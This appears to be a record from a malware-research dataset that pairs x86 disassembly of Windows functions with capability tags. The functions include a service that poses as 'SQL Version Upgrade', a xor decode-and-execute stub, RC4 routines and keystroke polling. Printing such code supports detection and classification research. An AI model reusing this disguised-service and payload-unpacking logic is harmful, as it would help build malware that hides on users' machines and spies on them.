joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404060
Capabilities:
Copy file
Get common file path
Set file attributes

Disassembly:
sub esp, 0x470
push ebx
mov ebx, dword [esp + 0x47c]
push esi
push edi
test ebx, ebx
je 0x40427e
mov eax, dword [esp + 0x488]
test eax, eax
je 0x40427e
mov dword [ebx], 0xffffffff
mov dword [eax], 0
lea eax, [esp + 0x64]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x4040b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
add esp, 0x470
ret
lea ecx, [esp + 0x64]
push str.dtcsetup.exe
push ecx
call fcn.00404e43
add esp, 8
lea edx, [esp + 0x270]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
jne 0x4040f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
add esp, 0x470
ret
push ebp
lea eax, [esp + 0x274]
push str.dtcsetup.exe
push eax
call fcn.00404e43
lea ecx, [esp + 0x20]
lea edx, [esp + 0x24]
push ecx
lea eax, [esp + 0x280]
push edx
push eax
call fcn.00403f50
lea ecx, [esp + 0x24]
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x80]
push edx
push eax
call fcn.00403f50
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
mov edi, dword [esp + 0x30]
xor eax, eax
xor esi, esi
or edx, eax
mov eax, dword [esp + 0x34]
or esi, ecx
xor ebp, ebp
xor ecx, ecx
add esp, 0x20
or eax, ebp
or ecx, edi
cmp edx, eax
pop ebp
jl 0x404272
jg 0x404167
cmp esi, ecx
jb 0x404272
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
jl 0x404225
jg 0x40417f
test ecx, ecx
jbe 0x404225
cmp esi, ecx
jne 0x4041f0
cmp edx, eax
jne 0x4041f0
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4041f0
push str.GetFileAttributesExW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4041e4
lea ecx, [esp + 0x40]
lea edx, [esp + 0x270]
push ecx
push 0
push edx
call esi
test eax, eax
je 0x4041f0
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x64]
push eax
push 0
push ecx
call esi
test eax, eax
je 0x4041f0
lea edx, [esp + 0x30]
lea eax, [esp + 0x54]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
cmp eax, 1
je 0x4041f0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x470
ret
lea ecx, [esp + 0x64]
push 0x80
push ecx
call edi
push 0
push 0x8000080
push 3
push 0
push 2
lea edx, [esp + 0x78]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40423e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x64]
push 0
lea ecx, [esp + 0x274]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x404253
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
mov dword [ebx], eax
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x470
ret
lea edx, [esp + 0x64]
push 0x80
push edx
call edi
mov eax, dword [esp + 0x488]
mov dword [eax], 1
mov dword [ebx], 0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x470
ret
pop edi
pop esi
mov eax, 0x57
pop ebx
add esp, 0x470
ret
Function at 0x4042f0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
push esi
push edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 8], str.CnvSvc
cmp edi, 1
mov dword [esp + 0xc], 0x404450
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
jle 0x4043df
mov esi, dword [esp + 0x20]
mov ecx, dword [esi + 4]
mov al, byte [ecx]
cmp al, 0x2d
je 0x404337
cmp al, 0x2f
jne 0x4043df
inc ecx
push ecx
push str.install
call fcn.00404ff0
add esp, 8
test eax, eax
jne 0x404391
cmp edi, 2
jle 0x404385
mov eax, dword [esi + 8]
push eax
push 0x40e404
call fcn.00404ff0
add esp, 8
test eax, eax
je 0x404379
mov ecx, dword [esi + 8]
push ecx
push 0x40e400
call fcn.00404ff0
add esp, 8
test eax, eax
jne 0x404385
push 1
call fcn.00404620
add esp, 4
jmp 0x4043d8
push 0
call fcn.00404620
add esp, 4
jmp 0x4043d8
mov edx, dword [esi + 4]
inc edx
push edx
push str.remove
call fcn.00404ff0
add esp, 8
test eax, eax
jne 0x4043ae
call fcn.00404750
jmp 0x4043d8
mov eax, dword [esi + 4]
inc eax
push eax
push str.debug
call fcn.00404ff0
add esp, 8
test eax, eax
jne 0x4043df
push esi
push edi
mov dword [0x410f44], 1
call fcn.004048c0
add esp, 8
push 0
call fcn.00404ef0
push 0x40e3e8
push str._s__install___s______to_install_the_service_n
call fcn.00404e92
push 0x40e3e8
push str._s__remove___________to_remove_the_service_n
call fcn.00404e92
push 0x40e3e8
push str._s__debug__params____to_run_as_a_console_app_for_debugging_n
call fcn.00404e92
push str._nStartServiceCtrlDispatcher_being_called._n
call fcn.00404e92
push str.This_may_take_several_seconds.__Please_wait._n
call fcn.00404e92
add esp, 0x20
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x40443f
push str.StartServiceCtrlDispatcher_failed.
call fcn.00404590
add esp, 4
pop edi
pop esi
add esp, 0x10
ret

Function at 0x404590
Capabilities:
Access the windows event log

Disassembly:
mov eax, dword [0x410f44]
sub esp, 0x208
test eax, eax
push esi
jne 0x40460f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.CnvSvc
push 0
mov dword [0x410f40], eax
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov esi, eax
mov eax, dword [0x410f40]
push eax
push str.CnvSvc
lea ecx, [esp + 0x14]
push str._s_error:__d
push ecx
call fcn.0040507c
mov eax, dword [esp + 0x220]
add esp, 0x10
lea edx, [esp + 0xc]
mov dword [esp + 8], eax
test esi, esi
mov dword [esp + 4], edx
je 0x40460f
lea ecx, [esp + 4]
push 0
push ecx
push 0
push 2
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
add esp, 0x208
ret
Function at 0x404620
Capabilities:
Create service

Disassembly:
sub esp, 0x400
lea eax, [esp]
push edi
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x404667
push 0x100
push 0x411100
call fcn.00404940
push eax
push str.SQL_Version_Upgrade
push str.Unable_to_install__s____s_n
call fcn.004050eb
add esp, 0x14
pop edi
add esp, 0x400
ret
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x404724
mov eax, dword [esp + 0x408]
push ebx
push esi
push 0
push 0
push str.RPCSS
cmp eax, 1
push 0
push 0
jne 0x4046a8
lea ecx, [esp + 0x20]
push ecx
push 1
push 2
push 0x10
jmp 0x4046b6
lea edx, [esp + 0x20]
push edx
push 1
push 2
push 0x110
push 0xf01ff
push str.SQL_Version_Upgrade
push str.CnvSvc
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x4046fa
push str.SQL_Version_Upgrade
push str._s_installed._n
call fcn.004050eb
add esp, 8
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x400
ret
push 0x100
push 0x411100
call fcn.00404940
push eax
push str.CreateService_failed____s_n
call fcn.004050eb
add esp, 0x10
push edi
call ebx
pop esi
pop ebx
pop edi
add esp, 0x400
ret
push 0x100
push 0x411100
call fcn.00404940
push eax
push str.OpenSCManager_failed____s_n
call fcn.004050eb
add esp, 0x10
pop edi
add esp, 0x400
ret
Function at 0x404750
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
je 0x4048a0
push esi
push 0xf01ff
push str.CnvSvc
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x404879
push 0x411300
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40481d
push ebx
push edi
push str.SQL_Version_Upgrade
push 0x40e634
call fcn.004050eb
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x3e8
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x411300
push esi
call ebx
test eax, eax
je 0x4047f8
cmp dword [0x411304], 3
jne 0x4047f8
push 0x40e630
call fcn.004050eb
add esp, 4
push 0x3e8
call edi
push 0x411300
push esi
call ebx
test eax, eax
jne 0x4047cf
mov eax, dword [0x411304]
pop edi
pop ebx
cmp eax, 1
push str.SQL_Version_Upgrade
jne 0x404810
push str._n_s_stopped._n
jmp 0x404815
push str._n_s_failed_to_stop._n
call fcn.004050eb
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x40484b
push str.SQL_Version_Upgrade
push str._s_removed._n
call fcn.004050eb
add esp, 8
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x411100
call fcn.00404940
push eax
push str.DeleteService_failed____s_n
call fcn.004050eb
add esp, 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x411100
call fcn.00404940
push eax
push str.OpenService_failed____s_n
call fcn.004050eb
add esp, 0x10
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebp
ret
push 0x100
push 0x411100
call fcn.00404940
push eax
push str.OpenSCManager_failed____s_n
call fcn.004050eb
add esp, 0x10
pop ebp
ret

Function at 0x4048c0
Capabilities:
Accept command line arguments

Disassembly:
push ecx
lea eax, [esp]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push str.SQL_Version_Upgrade
push str.Debugging__s._n
mov esi, eax
call fcn.004050eb
add esp, 8
push 1
push 0x404910
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, dword [esp + 4]
push esi
push ecx
call fcn.00403640
add esp, 8
pop esi
pop ecx
ret
Function at 0x40713a
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40e9d8
cmp edx, dword [eax]
je 0x40715c
add eax, 8
inc ecx
cmp eax, 0x40ea68
jl 0x40714d
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40e9d8]
jne 0x40728a
mov eax, dword [0x410f9c]
cmp eax, 1
je 0x407264
test eax, eax
jne 0x40718d
cmp dword [0x40e6b4], 1
je 0x407264
cmp edx, 0xfc
je 0x40728a
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4071c4
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00407f50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00407560
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x407207
lea eax, [ebp - 0x1a4]
push eax
call fcn.00407560
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c984
push edi
call fcn.0040a450
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00407f50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00407f60
lea eax, [ebp - 0xa0]
push 0x40c964
push eax
call fcn.00407f60
push dword [esi + 0x40e9dc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00407f60
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040a3c5
add esp, 0x2c
pop edi
jmp 0x40728a
lea eax, [ebp + 8]
lea esi, [esi + 0x40e9dc]
push 0
push eax
push dword [esi]
call fcn.00407560
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d20a
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040d20a
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040d20a
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040d20a
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040d20a
mov dword [0x41203c], eax
call fcn.0040d20a
test eax, eax
jge 0x402550
push 8
call fcn.0040d20a
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040d20a
pop ecx
push 1
call fcn.0040d20a
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040d20a
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040d20a
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040d20a
jmp 0x402495

Function at 0x40d20a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40d219
pop dword [ebp - 0x40]
mov eax, 0xc33a2a90
sub eax, 0xc2f95877
sub dword [ebp - 0x40], eax
push 0x40
push 0x1000
push 0x37534
push 0
mov eax, 0x7d11b261
sub eax, 0x7cd0d189
add eax, dword [ebp - 0x40]
call dword [eax]
mov ecx, 0x3fee
mov esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x40]
mov ebx, 0xf722eec1
add ebx, 0xd71ec047
mov edx, dword [edi]
sub dword [ebp - 4], edx
xor edx, ebx
sub dword [ebp - 0x1c], ecx
mov dword [esi], edx
add dword [ebp - 0x28], 0xd1716c74
add esi, 0xa9e55534
sub esi, 0xa9e55530
add edi, 0x13583d85
add edi, 0xeca7c27f
loop 0x40d26c
add eax, 0xf28b
mov ebx, eax
add eax, 0xf01f3ff6
add eax, 0xfe0c00f
mov ecx, 0x53547a3f
sub ecx, 0x53147a3f
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x425ac0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x425aee
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x425b0c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00425a26
jmp 0x425b0c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x425b0c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00425a26
test edi, edi
mov eax, edi
jne 0x425af6
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x43b644
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43b3c1
add eax, 0x99420b52
call fcn.0043b67c
push 0xe7cafa77
pop ebx
inc ebx
xor dword [esi], edi
mov ebx, 0x27d92380
inc esi
sub eax, 1
or ebx, eax
sub ebx, ebx
cmp esi, ecx
jne fcn.0043b644
and ebx, ebx
dec eax
dec ebx
ret
Function at 0x407fc0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47afdb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046fc17
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x408042
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046d98d
mov eax, dword [eax]
push 0x49b1c0
push eax
call fcn.0045fb94
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046fea2
test bl, bl
je 0x408042
push 0x49b1c0
lea ecx, [esp + 0xc]
call fcn.00470232
push 0x49ed44
lea ecx, [esp + 0xc]
call fcn.00470232
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40807e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046fea2
jmp 0x408149
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x408102
lea edx, [esp + 0x7c]
push 0x49ed40
push edx
call fcn.0045fb94
add esp, 8
test eax, eax
je 0x408102
lea eax, [esp + 0x7c]
push 0x49ed3c
push eax
call fcn.0045fb94
add esp, 8
test eax, eax
je 0x408102
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408092
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046fea2
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x408940
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4089a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4089b0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47b05b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4aac20]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x408ae8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x408a16
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046fea2
xor eax, eax
jmp 0x408b5f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0046ffdf
push esi
lea ecx, [esp + 0xc]
call fcn.0047026e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x408b3d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00408940
test eax, eax
jne 0x408b3d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00408940
test eax, eax
jne 0x408b3d
lea eax, [esp + 0x14]
push 0x49ed58
push eax
call fcn.00460bd0
mov esi, eax
add esp, 8
test esi, esi
jne 0x408b1c
lea ecx, [esp + 0x14]
push 0x49ed54
push ecx
call fcn.00460b50
mov esi, eax
add esp, 8
test esi, esi
jne 0x408b1c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x408b1f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0046ff8f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x408a2e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0046fea2
xor eax, eax
jmp 0x408b5f
mov byte [esi], 0
push 0x49ed50
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0046fea2
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41a3e0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41a44e
cmp si, 0x69
ja 0x41a44e
add esi, 0xffd0
cmp si, 0x11
je 0x41a41e
push 0x11
call edi
test ax, ax
jge 0x41a41e
or esi, 0x2000
cmp si, 0x10
je 0x41a433
push 0x10
call edi
test ax, ax
jge 0x41a433
or esi, 0x4000
cmp si, 0x12
je 0x41a448
push 0x12
call edi
test ax, ax
jge 0x41a448
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41a45b
mov esi, 0xbd
jmp 0x41a40f
cmp si, 0x6e
jne 0x41a468
mov esi, 0xbe
jmp 0x41a40f
cmp si, 0x6f
jne 0x41a409
mov esi, 0xbf
jmp 0x41a40f

Function at 0x41bb50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4bb2a8]
xor edx, edx
cmp eax, edx
jne 0x41bb76
xor eax, eax
mov byte [eax + 0x4bb1a8], al
inc eax
cmp eax, 0x100
jl 0x41bb5e
mov dword [0x4bb2a8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4bb1a8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41bc07
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41bbda
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41bba8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41bc80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41bcd3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41bcba
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret